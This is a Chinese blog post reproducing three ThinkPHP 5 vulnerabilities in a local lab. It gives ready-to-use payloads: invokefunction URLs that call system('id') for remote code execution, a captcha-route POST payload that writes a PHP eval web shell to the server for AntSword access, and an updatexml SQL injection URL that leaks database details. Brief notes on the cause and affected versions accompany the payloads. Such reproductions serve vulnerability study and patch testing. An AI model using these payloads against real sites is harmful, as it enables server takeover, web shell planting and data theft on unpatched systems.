Thinkphp漏洞复现

Thinkphp漏洞复现

Thinkphp5 5.0.22/5.1.29远程代码执行漏洞

原理

ThinkPHP是国内使用极为广泛的PHP开发框架。在其版本 5 中,由于框架处理控制器名称不正确,如果网站未启用强制路由(这是默认设置),它可以执行任何方法,从而导致 RCE 漏洞。

影响版本

Thinkphp =5.0.22 / 5.1.29

复现

访问192.168.0.128:8080/index.php,出现thinkphp界面

image-20230516084412788

poc1

http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1    

image-20230516084529053

poc2

http://192.168.0.128:8080//index.php?s=index/\think\app/invokefunction&function=phpinfo&vars[0]=100index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

image-20230516084609503

ThinkPHP5 5.0.23远程代码执行漏洞

原理

ThinkPHP 是一款运用极广的 PHP 开发框架。其 5.0.23 以前的版本中,获取 method 的方法中没有正确处理方法名,导致攻击者可以调用 Request 类任意方法并构造利用链,从而导致远程代码执行漏洞。

影响版本

5.0.23

复现

POC
路径:

index.php?s=captcha

测试过程:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

image-20230516085217173

上传木马

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '<?php @eval($_REQUEST["pass"]);?>' > zy.php

查看路径

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

蚁剑连接即可

ThinkPHP5 SQL注入漏洞

原理

传入的某参数在绑定编译指令的时候又没有安全处理,预编译的时候导致SQL异常报错。然而thinkphp5默认开启debug模式,在漏洞环境下构造错误的SQL语法会泄漏数据库账户和密码。

影响版本

ThinkPHP < 5.1.23

复现

访问http://192.168.0.128/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

信息泄露

image-20230516090905505

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值